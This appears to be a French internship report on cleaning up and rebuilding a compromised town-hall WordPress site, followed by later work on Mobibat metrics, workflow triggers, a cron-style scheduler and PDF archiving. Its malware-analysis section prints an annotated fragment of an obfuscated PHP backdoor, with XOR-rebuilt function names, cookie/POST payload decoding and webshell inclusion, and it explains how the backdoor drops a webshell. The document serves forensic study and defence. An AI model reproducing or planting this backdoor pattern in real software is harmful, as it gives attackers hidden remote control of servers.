Note complète (PDF)
Consulte la version PDF officielle de la note de stage CEOS IT.
Présentation de l'entreprise
CEOS-IT est une Entreprise de Services du Numérique (ESN) basée à Béthune (Pas-de-Calais), spécialisée dans l'accompagnement stratégique et technique des organisations dans leur transformation digitale.
L'entreprise propose une palette complète de services incluant le conseil en systèmes d'information, la cybersécurité, l'infrastructure réseau et téléphonie, l'édition de logiciels métier, ainsi que des solutions de gestion comptable et RH.
Sa mission : optimiser la performance, la sécurité et la fiabilité des écosystèmes numériques de ses clients tout en garantissant un accompagnement personnalisé et réactif.
Contexte du stage
Période : Janvier à Février 2026 (6 semaines)
Service : Équipe de sécurité et maintenance web
Objectif principal : Restaurer intégralement un site WordPress de mairie victime d'une cyberattaque majeure, en assurant la récupération des données, l'éradication des menaces et la remise en ligne sécurisée.
Lexique
- ESN : entreprise qui fournit des services informatiques à des clients.
- Cyberattaque : action malveillante visant à compromettre un site ou un serveur.
- Restauration : remise en état d'un site après un incident.
Objectifs pédagogiques
- Gérer une situation de crise cybersécurité en environnement réel
- Maîtriser les techniques d'analyse forensique et de décontamination
- Appliquer les bonnes pratiques de migration et mise à jour WordPress
- Développer autonomie, rigueur méthodologique et capacité d'adaptation sous pression
Lexique
- Forensique : analyse des traces pour comprendre une attaque.
- Décontamination : suppression complète du code malveillant.
- Migration : transfert des données vers un environnement sain.
Synthèse de la mission
Cette mission critique consistait à restaurer un site WordPress de mairie gravement compromis par une attaque informatique sophistiquée. Le site, datant de 2015, contenait du code malveillant obfusqué massivement injecté dans l'ensemble de l'arborescence.
Ma mission a nécessité une reconstruction complète du site en environnement sain, la migration manuelle des contenus, la mise à jour d'une infrastructure obsolète (WordPress 3.x, PHP 5.4), et le renforcement de la sécurité avant remise en production.
Ce document détaille les étapes critiques de cette intervention d'urgence.
Lexique
- Code obfusqué : code rendu illisible pour masquer son objectif.
- Environnement sain : installation propre, sans malware.
- Remise en production : retour d'un site en ligne après vérifications.
Historique de la mission
1. Contexte initial
Au début de mon stage, j'ai été confronté à un site WordPress de mairie gravement compromis. Le site, obsolète (WordPress ancien, PHP 5.4), a été infiltré par des pirates ayant injecté du code malveillant dans l'ensemble de l'infrastructure. Cette attaque a rendu le site inutilisable, exposé des données potentiellement sensibles et porté atteinte à l'image de la mairie. L'origine principale était une vulnérabilité liée à des plugins et à un thème non mis à jour depuis plusieurs années.
2. Prise de décision et analyse préliminaire
L'audit du site compromis a révélé des techniques d'obfuscation avancées : base64, XOR et eval(). Des redirections malveillantes avaient été ajoutées, et des fichiers PHP étaient dissimulés dans des images et des répertoires secondaires.
- Analyse de l'étendue de la compromission dans
wp-content/plugins,wp-content/themesetwp-content/uploads - Extraction et inspection des fichiers PHP malveillants avec Visual Studio Code et FileZilla
- Analyse des logs serveur via PuTTY pour identifier les points d'entrée et exploits utilisés
3. Actions entreprises pour la récupération
La décision a été prise de reconstruire le site sur une installation WordPress saine.
- Installation d'un environnement propre : WordPress 6.5, PHP 8.2, MySQL 8.0
- Migration des données légitimes (articles, pages, images) après nettoyage
- Recréation des menus et widgets pour retrouver une interface fidèle à l'originale
4. Mise à jour et sécurisation
- Mise à jour manuelle de WordPress 3.x vers 6.5 (reconstruction nécessaire)
- Suppression des plugins obsolètes et remplacement par des alternatives maintenues
- Renforcement de la sécurité : plugins dédiés, sauvegardes automatiques.
5. Sécurisation de l'hébergement
- Migration vers un hébergeur WordPress sécurisé (SSL, monitoring 24/7)
- Reconstruction des redirections pour limiter les erreurs 404 et préserver le SEO
- Mise à jour des DNS vers le nouvel hébergement sans interruption
6. Tests de validation et mise en production
- Tests de performance : temps de chargement, compression images, audit CSS/JS
- Tests de sécurité : scan de vulnérabilités, vérification formulaires et redirections
- Tests des plugins pour assurer le bon fonctionnement après mise à jour.
7. Impact de l'attaque et leçon apprise
L'attaque a rappelé l'importance des mises à jour régulières, en particulier pour WordPress. Elle a aussi mis en évidence les risques liés aux plugins obsolètes et à une infrastructure vieillissante.
Les actions menées ont permis de restaurer un site sécurisé et prêt pour une exploitation durable.
Conclusion
Cette expérience m'a permis de développer des compétences en cybersécurité, administration système et gestion de crise. J'ai appris à analyser des attaques réelles, restaurer un site compromis et mettre en place des mesures préventives efficaces.
Elle renforce ma volonté de me spécialiser dans les métiers de la cybersécurité et de l'administration système sécurisée.
Lexique
- Plugin : extension qui ajoute des fonctions à WordPress.
- DNS : service qui relie un nom de domaine à un serveur.
- 2FA : double validation lors d'une connexion.
État initial & problématiques
Compromission massive du site
Constat alarmant :
- Injection de code obfusqué dans tous les répertoires : plugins, thèmes, uploads (images), core WordPress
- Infrastructure obsolète : WordPress 3.x (2015), PHP 5.4, plugins non maintenus depuis 7+ ans
- Redirections malveillantes vers des sites frauduleux
- Présence de backdoors permettant un accès persistant aux attaquants
- Modification de fichiers critiques :
wp-config.php,functions.php, fichiers JavaScript
Impact : Site totalement inutilisable, risque de vol de données des citoyens, atteinte à l'image de la mairie.
Décision stratégique
Face à l'ampleur de la contamination, une restauration classique était impossible. La décision a été prise de :
- Créer un nouveau site WordPress vierge en parallèle
- Extraire et décontaminer manuellement le contenu (textes, images, structure)
- Reconstruire l'architecture du site à l'identique
- Migrer vers un nouvel hébergeur sécurisé
Lexique
- Backdoor : accès caché permettant de reprendre le contrôle d'un site.
- Core WordPress : fichiers principaux du CMS WordPress.
- Cache : copie temporaire qui accélère l'affichage.
Déroulement de la mission
Audit de sécurité & identification des menaces
La première étape a consisté à établir un diagnostic précis de la compromission. À l'aide de FileZilla, j'ai téléchargé l'intégralité de l'arborescence du site pour analyse hors ligne avec Visual Studio Code.
xmirpc.php caché parmi les médias, et mise à part des éléments suspects pour vérification avant migration.L'inspection manuelle a révélé une contamination généralisée : chaque dossier (wp-content/plugins, wp-content/themes, wp-content/uploads) contenait des fichiers PHP malveillants avec du code hautement obfusqué utilisant des techniques de camouflage (base64, XOR, désérialisation).
Via PuTTY (SSH), j'ai analysé les logs Apache pour identifier les vecteurs d'attaque : tentatives répétées sur xmlrpc.php, exploitation probable d'un plugin obsolète (vulnérabilité connue CVE-2015-xxxx), et accès via des credentials compromis.
L'utilisation de DBeaver pour inspecter la base de données a confirmé la présence de données malveillantes dans les tables WordPress (wp_options, wp_postmeta) : comptes administrateurs fantômes, tâches cron malveillantes programmées.
Conclusion : Le site était perdu, une reconstruction totale était nécessaire.
Installation WordPress vierge & configuration
En parallèle du site compromis, j'ai créé une installation WordPress propre (version 6.5 LTS) sur un environnement de développement sécurisé. Cette approche garantissait un socle 100% sain.
J'ai configuré l'environnement avec les dernières versions des composants : PHP 8.2, MySQL 8.0, et uniquement les plugins essentiels mis à jour. Connexion via FortiClient VPN pour garantir un accès sécurisé au réseau CEOS-IT.
Création de la structure initiale : menus, pages principales, catégories, utilisateurs avec permissions strictes. Tout a été documenté dans un fichier de spécifications pour assurer la cohérence.
Objectif atteint : Plateforme propre prête à recevoir le contenu décontaminé.
Récupération du contenu légitime
La phase la plus délicate : extraire le contenu utile du site infecté sans transférer le malware. J'ai utilisé DBeaver pour exporter la base de données et isoler les données propres.
Pour chaque table WordPress, j'ai appliqué un protocole de nettoyage rigoureux :
- Export des articles (wp_posts) : inspection manuelle de chaque entrée, suppression des révisions suspectes
- Extraction des métadonnées (wp_postmeta) : filtrage des entrées contenant du code obfusqué (recherche de patterns base64, eval)
- Récupération des médias : téléchargement des images via FileZilla, scan antivirus local, vérification EXIF
- Reconstruction des menus et widgets à partir des backups textuels
Les images du répertoire uploads/ ont été particulièrement problématiques : des fichiers .php déguisés en .jpg nécessitaient une vérification du MIME type réel avant intégration.
Résultat : 100% du contenu légitime récupéré et décontaminé.
Remise en place de la navigation & design
Avec le contenu nettoyé, j'ai procédé à la reconstruction complète de l'interface utilisateur. La barre de navigation principale avait été cassée par l'infection, nécessitant une refonte CSS.
Analyse du thème d'origine (sauvegardé) : identification des styles CSS critiques, extraction du code propre, adaptation au nouveau thème moderne compatible WordPress 6.5. Utilisation de Flexbox pour garantir un affichage responsive.
Réintégration des médias décontaminés : upload via l'interface WordPress, recréation de la bibliothèque média avec taxonomies, attribution des images aux articles correspondants. Vérification des dimensions et optimisation (compression sans perte de qualité).
Reconstruction des liens de redirection : audit de toutes les URLs du site d'origine, création de redirections 301 pour préserver le référencement SEO, test manuel de chaque lien pour éviter les erreurs 404.
Modernisation WordPress, PHP & plugins
Le site d'origine tournait sur une infrastructure obsolète et vulnérable (WordPress 3.8, PHP 5.4, plugins datant de 2015). Cette obsolescence était probablement la cause initiale de la compromission.
J'ai orchestré une mise à jour complète manuelle :
- WordPress : migration de 3.8 vers 6.5 (impossible automatiquement, reconstruction nécessaire)
- PHP : passage de 5.4 à 8.2 (coordination avec l'hébergeur, tests de compatibilité)
- Plugins : suppression de 15 plugins obsolètes, remplacement par des alternatives maintenues (exemple : Contact Form 7 → Fluent Forms), configuration sécurisée
- Thème : migration vers Twenty Twenty-Ten, adaptation du thème enfant avec les styles personnalisés
Chaque mise à jour a été testée en environnement de staging avant application en production. Documentation complète des versions pour traçabilité.
Résultat : Infrastructure moderne, sécurisée, maintenable sur le long terme.
Transfert vers hébergeur sécurisé
Pour garantir la sécurité à long terme, le site a été migré vers un nouvel hébergeur spécialisé en sécurité WordPress (infrastructure isolée, firewall applicatif, monitoring 24/7).
Processus de migration via FileZilla (SFTP) et DBeaver :
- Export complet de la base de données (dump SQL)
- Transfert des fichiers WordPress vers le nouveau serveur
- Configuration DNS : modification des enregistrements A pour pointer vers la nouvelle IP
- Tests de connectivité avant propagation DNS complète
- Vérification du certificat SSL (HTTPS obligatoire pour site de mairie)
La migration a été effectuée en mode "maintenance" pour éviter toute perte de données pendant la propagation DNS (24-48h).
Configuration des droits & mesures préventives
Une fois le site migré, j'ai appliqué un protocole de durcissement de la sécurité pour prévenir toute réinfection :
- Gestion des utilisateurs : suppression des comptes suspects, réattribution des rôles (administrateur, éditeur, auteur), activation de l'authentification à deux facteurs (2FA) pour les admins
- Mots de passe : génération de mots de passe forts (Keypass), stockage sécurisé dans un gestionnaire
- Protection : blocage via .htaccess pour empêcher les attaques par bruteforce
- Sauvegardes automatiques : configuration de snapshots quotidiens (base de données + fichiers) avec rétention 30 jours
Résultat : Site durci selon les standards ANSSI pour collectivités territoriales.

Vérifications finales & recette
Avant la remise en production officielle, j'ai conduit une batterie de tests exhaustifs :
- Vérification de tous les liens internes (navigation, redirections, ancres)
- Test des formulaires de contact (envoi email, anti-spam)
- Audit de performance (temps de chargement, optimisation images)
- Test de sécurité : scan de vulnérabilités, tentatives d'injection SQL, test de permissions
Présentation au client (mairie) :Présentation du site après restauration, malgré les petites pertes.
Validation client : Recette acceptée, site remis en ligne avec succès.
Lexique
- Staging : environnement de test avant la mise en ligne.
- SFTP : transfert de fichiers sécurisé.
- SEO : optimisation pour les moteurs de recherche.
- SSL/HTTPS : chiffrement des échanges sur le site.
Analyse du code malveillant
Le code injecté représente un exemple typique de backdoor PHP hautement sophistiquée. Voici un exemple réel découvert dans les fichiers du site :
Techniques d'obfuscation identifiées
Les attaquants ont utilisé plusieurs couches de camouflage pour rendre le code indétectable :
- Encodage Base64 : Le code est encodé pour ressembler à des données binaires inoffensives
- Opérations XOR : Chiffrement du payload avec une clé secrète
- Reconstruction dynamique : Les noms de fonctions PHP critiques (eval, exec, system) sont reconstruits caractère par caractère
- Injection dans images : Code PHP caché dans les métadonnées EXIF de fichiers JPG
Décryptage d'une backdoor (résumé)
- Écoute des requêtes POST et parcourt
$_POST. - Ne réagit que si un nom de paramètre fait exactement 16 caractères.
- Déchiffre la payload : rot13 → rawurldecode → stripcslashes, puis XOR avec un UUID fixe et la clé (nom du paramètre).
- Exécute un unserialize() : la payload devient un objet/array.
Deux comportements possibles :
- Mode “ping” : renvoie la version PHP pour confirmer que la backdoor répond.
- Mode “dropper” : dépose un webshell en cherchant un dossier inscriptible sous
$_SERVER['DOCUMENT_ROOT'], crée un fichier.phpaléatoire (basé sur l'heure), écrit la payload et renvoie l'URL créée.
Exemples visuels de fragments de code obfusqué repérés pendant l'audit :
Voir le code malveillant analysé
<?php
// Fonction leurre pour donner l'illusion d'un code anodin
function myuhtjotd(){ print(86290+86290); }
// Génération obfusquée de chr() via XOR pour masquer les appels
$hwsyck = 'hwsyck' ^ "\x0b\x1f\x01";
// Reconstruction fragmentée de file_put_contents()
$mjyaels = "f"."i".$hwsyck(108)."e_"."p"."u".$hwsyck(116)."_c"."o".$hwsyck(110)."t"."e"."n".$hwsyck(116)."s";
// Reconstruction de base64_decode() pour dissimuler le décodage
$bxh_vpohv = "b"."a"."s"."e".$hwsyck(54).$hwsyck(52)."_".$hwsyck(100).$hwsyck(101)."c"."o".$hwsyck(100).$hwsyck(101);
// Fusion des entrées externes (cookies/POST) pour exécution conditionnelle
$phhovqhewhcz = array_merge($_COOKIE, $_POST);
foreach ($phhovqhewhcz as $_ppl_i => $pftxjuaamj) {
// Déchiffrement multi-couches pour reconstituer la charge utile
$pftxjuaamj = $newp_cmtf(tlebi(tlebi($bxh_vpohv($pftxjuaamj), $mimqk), $_ppl_i));
if (isset($pftxjuaamj["ak"])) {
if ($pftxjuaamj["i"] == "e") {
include($aeipj); // Webshell : exécution distante si la clé est valide
}
exit();
}
}
?>Impact de cette backdoor
- Contrôle total : Les attaquants pouvaient exécuter n'importe quelle commande PHP
- Persistance : Le code se réinstallait automatiquement après suppression
- Vol de données : Accès à la base de données (informations citoyens, emails)
- SEO poisoning : Injection de liens cachés vers des sites malveillants
Lexique
- Backdoor : porte dérobée pour accéder au serveur.
- Payload : charge utile malveillante déclenchée par le code.
- Webshell : script donnant un contrôle distant.
- Obfuscation : techniques pour rendre le code difficile à lire.
Outils utilisés
Environnement de développement
- Visual Studio Code : Analyse de code malveillant, édition de fichiers WordPress, débogage PHP
- DBeaver : Administration MySQL, export/import de bases de données, nettoyage des tables infectées
- FileZilla : Transfert FTP/SFTP sécurisé, téléchargement des fichiers contaminés, upload vers nouvel hébergeur
- FortiClient VPN : Connexion sécurisée au réseau CEOS-IT et serveurs clients
- PuTTY : Accès SSH aux serveurs Linux, configuration des permissions, analyse des logs Apache
Visual Studio Code
DBeaver
FileZilla
FortiClient VPN
PuTTY
Technologies web
- WordPress 6.5 : CMS pour reconstruction du site
- PHP 8.2 : Langage serveur moderne et sécurisé
- MySQL 8.0 : Système de gestion de base de données
- CSS3 / Flexbox : Correction de la navigation et responsive design
WordPress 6.5
PHP 8.2
MySQL 8.0
CSS3 / Flexbox
Langages utilisés
Lexique
- IDE : logiciel pour écrire et organiser le code (ex: VS Code).
- VPN : tunnel chiffré pour se connecter au réseau de l'entreprise.
- SSH : accès sécurisé à un serveur à distance.
- SFTP : transfert de fichiers sécurisé.
Mission 2 : Système de métriques Mobibat
Présentation de la mission
L'objectif était de mettre en place un système de métriques pour Mobibat afin de :
- Centraliser des statistiques métier (usage, erreurs, activité)
- Filtrer et visualiser ces métriques
- Fournir un indicateur synthétique sur le dashboard
Étude technique & comparatif (moteurs)
- QuestDB : très rapide mais limitations d'authentification et de configuration (PG wire, accès restreints).
- Elasticsearch : solution puissante, mais l'accès SQL/JDBC est soumis à licence (non viable dans notre contexte).
- Autres solutions : certaines gratuites nécessitaient une configuration incompatible avec nos contraintes de sécurité / certificats.
Conclusion : les moteurs de recherche/indexation n'étaient pas adaptés (coûts/licences ou contraintes techniques).
Décision
- Utilisation du MySQL existant avec une table dédiée
z_metrics - Requêtes SQL simples et maîtrisées
- Visualisation interne + filtres
- Tests/validation des données via DBeaver
Synthèse technique (implémentation)
1) Modèle de données (MySQL)
Table z_metrics (InnoDB, utf8mb4), colonnes clés :
metric_idBIGINT UNSIGNED PKuser_id,site_id,document_id(indexés)metric_dateDATETIME (filtrage temporel)metric_name,metric_category(VARCHAR)metric_valueDECIMAL(10,0)metric_dataJSON (données variables)metric_flagsBIGINT UNSIGNEDmetric_date_add,metric_date_upd
Objectif : filtrage rapide (WHERE) + stockage flexible via JSON.
z_metrics : on voit les champs clés (ids, dates, catégories, JSON) qui permettent le filtrage rapide et la flexibilité des données métier.2) Page back : filtres + table + pagination
URL : /back/test · Template : test.tpl
- Formulaire de filtres + boutons SELECT / RESET
- Tableau complet (toutes colonnes)
- Pagination via
<div id="pagination_metrics">
JS (test.js) :
- Fonctions globales (compatibilité avec
setPagination) loadMetrics(page): appel AJAX/api/metrics/getpopulateRow(): injection des lignesrenderMetricData(): formatage JSON propre- URL sync :
updateUrlFromFilters()etapplyFiltersFromUrl() resetMetrics(): nettoyage form + URL + table
3) API Metrics
- Controller :
MetricsController.php - get() : WHERE dynamique (id, name, category, date, min/max, ids) + pagination
- stats() : métriques du jour (total, erreurs, %)
Retour JSON : metrics, Count.max_pages, page, number_of_elements
MetricsController : la construction dynamique des filtres et le calcul de pagination servent à renvoyer uniquement les métriques pertinentes, sans charger toute la table.4) Dashboard front
- Template :
dashboard.tpl - JS :
metrics_dashboard.js - Controller :
DashboardController.php - Carte synthétique : appel AJAX
/api/metrics/stats, affichage du % + texte explicatif - Click carte → redirection filtrée vers
/back/test(params URL)
5) CSS / UI
- Formulaire
back/test: styles personnalisés danstest.css(couleurs CEOS) - Carte dashboard : style “card” (blob + glass) dans
dashboard.css - Halo animé (orbit), ombre rouge par défaut
.is-zero: ombre + halo verts sipercent === 0
Extraits de code utiles
1) API : filtrage + pagination (serveur)
Voir l’extrait de code
// Construction des filtres dynamiques
if (isset($_POST['metric_category']) && $_POST['metric_category'] !== '') {
$_WHERE[] = 'metric_category = ?';
$_DATA[] = $_POST['metric_category'];
}
// Pagination
$_Q = $this->Database['DATABASE_MYSQL_API']->prepare(
'SELECT COUNT(*) AS number_of FROM z_metrics' . (count($_WHERE) > 0 ? ' WHERE ' . implode(' AND ', $_WHERE) : '')
);
$_Q->execute($_DATA);
$JSON['Count'] = $_Q->fetch(PDO::FETCH_ASSOC);
$JSON['Count']['max_pages'] = ceil($JSON['Count']['number_of'] / $JSON['number_of_elements']);- L1 : indique que la section construit les filtres dynamiques.
- L2 : vérifie que le filtre
metric_categoryest bien renseigné. - L3 : ajoute la clause SQL correspondante au tableau
$_WHERE. - L4 : stocke la valeur du filtre dans les paramètres liés.
- L5 : ferme la condition.
- L6 : annonce la partie pagination.
- L7 : prépare la requête
COUNT(*)via le handler MySQL. - L8 : ajoute un
WHEREuniquement si des filtres existent. - L9 : termine l'appel à
prepare(). - L10 : exécute la requête avec les paramètres sécurisés.
- L11 : récupère le nombre total de lignes filtrées.
- L12 : calcule le nombre de pages en fonction du total.
2) Front : filtres persistants dans l'URL
Voir l’extrait de code
function updateUrlFromFilters() {
let formData = getFormData('#metrics_filter_form');
setUrlParameter('metric_category', formData.metric_category || '');
setUrlParameter('metric_date_from', formData.metric_date_from || '');
setUrlParameter('metric_date_to', formData.metric_date_to || '');
}- L1 : déclare la fonction qui synchronise les filtres avec l'URL.
- L2 : récupère toutes les valeurs du formulaire de filtres.
- L3 : écrit le paramètre
metric_category(ou vide si absent). - L4 : écrit le paramètre de date de début.
- L5 : écrit le paramètre de date de fin.
- L6 : termine la fonction.
3) Dashboard : carte synthétique “erreurs système”
Voir l’extrait de code
$.post('/api/metrics/stats?token=' + TOKEN, {}, function (result) {
let percent = result.percent || 0;
$('#metrics_error_rate_value').text(percent + '%');
});- L1 : lance un appel AJAX vers l'API des statistiques avec le token.
- L2 : récupère le pourcentage d'erreurs, avec un fallback à 0.
- L3 : affiche la valeur dans la carte du dashboard.
- L4 : ferme la fonction de callback et l'appel
$.post.
Langages utilisés
- PHP : backend (API Metrics, controllers, logique métier)
- SQL : requêtes MySQL pour filtrer/compter les métriques
- JavaScript : front (filtres, AJAX, pagination, URL params)
- HTML / TPL : templates des pages (dashboard, back/test)
- CSS : design du formulaire et des cartes
Mission 3 : Triggers Workflow (mails + métrics)
Contexte du projet
J'ai travaillé sur le moteur de workflow interne de Mobibat, responsable des tâches asynchrones déclenchées par événements (métrics, envoi de mails, etc.).
Objectif : fiabiliser le déclenchement par trigger pour garantir le bon mail, le bon template et les bons paramètres.
Objectif principal
Mettre en place un système de triggers workflows pour les absences :
absence_add→ ajout d'une absenceabsence_accept→ absence acceptéeabsence_reject→ absence refusée (avec motif)absence_prolong→ prolongation (avec ancienne date de fin)
Mise en place des triggers
Les triggers sont standardisés en constantes et transmis au workflow pour sélectionner automatiquement :
- le bon template
.tpl - le bon sujet de mail
- les bons paramètres à injecter
Implémentation (WorkflowMailAbsence)
a) Récupération & normalisation
- Chargement des données via SQL (
select_absence.sql) - Normalisation des dates (
absence_date_start,absence_date_end,old_absence_date_end) - Affectation des champs dans le parser
b) Paramètres dynamiques
Harmonisation des tokens :
{ABSENCE_DATE_START}{ABSENCE_DATE_END}{ABSENCE_OLD_DATE_END}
Les anciens tokens sont automatiquement remplacés pour garantir la compatibilité.
c) Choix automatique du template
mobibat_absence_add.tplmobibat_absence_accept.tplmobibat_absence_reject.tplmobibat_absence_prolong.tpl
Les templates ont été réécrits en phrases pour améliorer la lisibilité.
Tests et validations
- Tests par triggers avec des IDs connus (ex. 42, 77, 1710)
- Vérification des tâches créées dans
workflow_tasks - Contrôle du sujet, du body et du template choisi
- Destinataires forcés pour valider l'envoi
Tests techniques complémentaires
Un test temporaire avec metric site_open a permis de vérifier :
- le support de plusieurs tâches sur un même événement
- la création parallèle d'une tâche mail + metric
Résultats obtenus
- Triggers fiables et cohérents
- Bon mail envoyé selon le type d'absence
- Paramètres dynamiques correctement injectés
- Templates lisibles et homogènes
- Système extensible pour futurs triggers
Difficultés & solutions
- Mauvais template : mapping explicite via
workflow_trigger - Dates manquantes : normalisation dans le parser
- Aucun destinataire : validation des recipients + mail forcé
- Doublons : compréhension des flags base/override
Conclusion
Le workflow est désormais fiable et modulable : chaque trigger déclenche un mail cohérent et un suivi précis des absences.
Cette base facilite l'évolution future (nouveaux triggers métiers, nouveaux types de mails ou automatisations).
Mission 4 : Planification type crontab (Workflow)
Objectif
Déployer un système de planification automatisé capable d'exécuter des workflows à des moments précis, sans intervention manuelle.
Le modèle s'inspire du crontab : lisible, configurable en base, et extensible.
Principe du crontab intégré
Un crontab représente une règle d'exécution via des champs temporels :
secondesminutesheuresjours_du_moismoisjours_semaine
Règles fondamentales :
*→ toutes les valeurs possibles*/N→ toutes les N unités (intervalle)- valeur exacte (ex.
15) → uniquement à cette valeur
Exemples :
0 0 * * * *→ toutes les heures, à hh:00:00*/10 */5 * * * *→ toutes les 10 secondes, toutes les 5 minutes0 30 8 * * 1-5→ à 08:30:00 les jours ouvrés
Implémentation concrète
1) Modèle de données
Les colonnes de fréquence (seconds, minutes, hours, days_of_month, months, days_of_week) sont la source de vérité.
Le modèle est lisible, manipulable en test, et ne dépend pas d'une interface UI.
2) Parsing & normalisation
NULLou''→ interprété comme**/N→ intervalle reconnu- nombre → valeur exacte
- incohérence → fallback sécurisé vers
*
Chaque configuration en base est convertie proprement en expression cron.
3) Génération d'expression cron
Conversion en cron 6 champs (secondes incluses) :
seconds=0, minutes=0, hours=*→0 0 * * * *minutes=*/60→* */60 * * * *
4) Protection contre l'exécution infinie
Si tous les champs sont NULL, la règle est ignorée pour éviter un cron "toutes les secondes".
5) Mode intervalle réel
Quand une seule colonne est en intervalle (ex. */60 minutes), on calcule un intervalle en secondes et on déclenche X secondes après la dernière tâche.
Exemple : "envoyer un mail 60 minutes après le précédent envoi".
Ce mode est très utile pour les workflows métiers basés sur l'événement, pas l'horloge.
6) Intégration workflow
Le scheduler est appelé avant l'exécution des tâches afin d'ajouter automatiquement les workflows planifiés dans la file.
7) Logs détaillés
- cron généré
- règle ignorée
- secondes restantes avant la prochaine exécution
- moment de mise en file
Résultat final
- Scheduler type crontab intégré, robuste et lisible
- Configuration rapide en base, sans UI
- Comportement aligné sur les standards cron
- Intervalles réels pris en charge (utile en métiers)
- Base solide pour futures évolutions (UI, profils horaires, validation admin)
Mission 6 : Configuration d'une démonstration commerciale complète
Objectif de la mission
Cette mission consistait à configurer une démonstration complète du logiciel CEOS-IT afin de permettre des présentations commerciales réalistes auprès de prospects.
L'objectif était de proposer un environnement crédible, immédiatement exploitable en rendez-vous, pour démontrer la valeur métier des modules dans un contexte proche de la réalité d'une entreprise du BTP.
Travaux réalisés
- Création d'un environnement de démonstration entièrement fonctionnel
- Génération de données fictives cohérentes et crédibles
- Structuration d'un écosystème métier complet simulant une vraie entreprise du BTP
Éléments configurés dans la démo
- Chantiers réalistes : types de travaux, localisations, durées et budgets
- Matériels et engins : affectations, états et disponibilités
- Clients et fournisseurs : coordonnées et historiques simulés
- Salariés : rôles, qualifications et affectations
- Plannings : interventions planifiées et suivi d'activité
Logique métier et scénarios de démonstration
La configuration devait rester logique, interconnectée et exploitable dans les démonstrations commerciales.
J'ai construit des scénarios crédibles permettant de montrer :
- la gestion RH et administrative
- le suivi opérationnel des chantiers
- la gestion amiante et les contraintes réglementaires
- le suivi terrain en temps réel
Modules configurés
1) ModulRH
- Gestion des salariés
- Gestion des absences
- Suivi administratif RH
2) Mobibat Amiante
- Gestion réglementaire des chantiers amiante
- Suivi des interventions spécifiques
- Traçabilité et conformité
3) Mobibat Compagnon
- Interface terrain
- Pointage des salariés
- Suivi en temps réel des tâches
Compétences développées
- Compréhension approfondie du fonctionnement métier du logiciel
- Capacité à structurer une base de données cohérente
- Vision globale des flux inter-modules
- Rigueur organisationnelle
- Adaptation à un environnement professionnel réel
Impact stratégique
Cette mission était stratégique, car la qualité de la démonstration influence directement l'impact commercial du logiciel.
Une démo cohérente et réaliste améliore la compréhension des prospects, renforce la crédibilité de la solution et facilite la transformation commerciale.
Mission 7 : Généralisation du moteur workflow à de nouveaux modules
Contexte
La suite de mon stage a consisté à appliquer le moteur de workflow à de nouveaux besoins métier, en conservant la logique déjà validée sur les absences.
Le workflow absences a servi de modèle de référence pour la structure des classes, le déclenchement par trigger, la création de tâches, l'exécution automatique, l'envoi de mail et les templates.
Objectif : garder une architecture unique pour un comportement prévisible, plus simple à maintenir et à déboguer.
Présentation de MOBIBAT et des modules
MOBIBAT est la plateforme métier utilisée pendant le stage pour piloter les flux opérationnels (RH, terrain, conformité et automatisations workflow).
Dans le cadre de cette mission, j'ai travaillé avec trois modules principaux :
- ModulRH : gestion des salariés, absences et suivi administratif RH
- Mobibat Amiante : gestion réglementaire des chantiers amiante et traçabilité documentaire
- Mobibat Compagnon : usage terrain pour pointages, remontées d'informations et suivi d'activité
Cette base fonctionnelle a permis de déployer des workflows cohérents d'un module à l'autre, sans dupliquer la logique technique.
Nouveaux workflows métier
- Pointages : module
tickingsavec triggerticking_validate - Notes de service : module
service_notesavec triggerservice_note_send
Workflow pointages
- le trigger est appelé
- une tâche est ajoutée dans
workflow_tasks - le moteur récupère la tâche
- les données métier sont chargées (date, distance, motif, identifiant)
- les variables dynamiques sont remplacées
- le mail est envoyé via le modèle global
Workflow notes de service
- création de la tâche workflow
- récupération des données métier
- construction de la liste des destinataires
- remplacement des variables dans le contenu
- envoi du mail
ticking_id, service_note_id) et de la création des tâches dans workflow_tasks.Intégration front, API et templates
Le front-end a été raccordé pour déclencher les workflows au bon moment avec le bon trigger et le bon identifiant métier.
Chaîne validée de bout en bout :
front → API → création de tâche → exécution workflow → envoi mail
Les templates tickings et service_notes ont été harmonisés avec le modèle absences : texte en phrases, placeholders dynamiques, rendu cohérent et professionnel.
Vérifications réalisées
- contrôle de la création des tâches dans
workflow_tasks - contrôle des statuts (
à faire → en cours → terminé) - contrôle des paramètres reçus et des remplacements
- contrôle du résultat final d'envoi
Cette mission m'a permis de généraliser un moteur workflow existant à de nouveaux modules sans casser la logique globale.
Mission 8 : Migration et fiabilisation du workflow d'archivage PDF
Objectif
Faire évoluer l'archivage automatique des documents en l'alignant sur la logique moderne workflow_tasks, tout en conservant le comportement métier.
- passer l'archive dans le bon pipeline technique
- garder la compatibilité avec l'existant
- modifier uniquement le dossier de destination final des PDF
- améliorer le diagnostic en cas d'erreur
Modifications techniques
1) Alignement sur workflow_tasks
- création des tâches archive dans
workflow_tasks - utilisation des colonnes
workflow_task_*(date_start,date_end,flags,parameters) - intégration du type
archivedans la boucle d'exécution principale
2) Nouveau chemin de sortie PDF
/data/files/{CUSTOMER_NAME}/archives/tmp/{site_id}-{date}.pdf
Ce changement améliore l'organisation des fichiers et isole clairement les archives temporaires.
3) Lecture API robuste
- lecture prioritaire via
/api/workflow/readsurworkflow_tasks - fallback maintenu vers
workflow_site_taskspour l'historique legacy
4) Correction SQL JSON
Correction des requêtes JSON_EXTRACT pour supprimer l'erreur Invalid JSON path expression et sécuriser l'extraction dynamique.
workflow_tasks, lecture API avec fallback legacy et validation du chemin final PDF.Vérifications et résultats
- tâche d'archive bien créée dans
workflow_tasks - paramètres correctement enregistrés
pathfinal écrit dansworkflow_task_parameters- lecture API validée sur nouveau flux + fallback legacy
Résultat : migration propre, cohérente et maintenable, avec un comportement aligné sur les autres workflows du projet.
Compétences développées
Compétences techniques
- Analyse forensique : Identification de code malveillant, reconstruction du scénario d'attaque
- Administration WordPress avancée : Migration de version, gestion de base de données, architecture
- Cybersécurité : Durcissement de serveur, gestion des droits, protocoles de sécurité
- Développement web : PHP, CSS, débogage, optimisation de performance
- Administration système : SSH, permissions Linux, configuration serveur web
Compétences méthodologiques
- Gestion de crise : Priorisation des urgences, décisions rapides sous pression
- Rigueur méthodologique : Protocoles de nettoyage, traçabilité des actions
- Documentation technique : Procédures de restauration, guides d'exploitation
- Communication client : Explication vulgarisée de problèmes complexes
Compétences comportementales
- Autonomie : Gestion complète du projet de A à Z
- Patience : Inspection manuelle de milliers de fichiers
- Adaptabilité : Reconstruction complète en l'absence de backup exploitable
- Esprit critique : Détection de patterns suspects dans le code
Conclusion & apprentissages
